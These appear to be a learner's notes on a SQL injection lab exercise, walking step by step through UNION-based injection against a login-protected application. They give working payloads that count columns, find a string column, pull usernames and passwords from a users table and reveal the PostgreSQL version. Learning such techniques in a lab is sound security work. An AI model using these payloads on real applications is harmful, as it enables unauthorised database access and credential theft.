NOTE BY Manual testing

1. The results from the query are returned in the application's response so you can use a UNION attack to retrieve data from other tables.
2. we have to login as a administrator user
3. ‘ is giving us an error
4. `‘ UNION select null,null- -` is not giving us error it means there could be 2 columns
5. `‘ UNION select null,’a’ - -` is not giving us error but two string or string in the first column is giving us error
6. We have here one string column but we have to retrieve data from two columns
7. we will do it 2 times
8. at first we will search for the user name
9. `‘ UNION select NULL, username FROM users- -` this will give us the user names
10. `‘ UNION select NULL, password FROM users- -` this will give us the passwords
11. **'** **`UNION select null,version()--`** **if we use this payload it will give the db name**
12. PostgreSQL 12.17 (Ubuntu 12.17-0ubuntu0.20.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0, 64-bit
13. and if we know the version of the server or the db we can attack according to particular db
14. as we found the db is PostgreSQL so we can plan the attack according to PostgreSQL
15. we can see the cheat sheet of sqli

PAWNED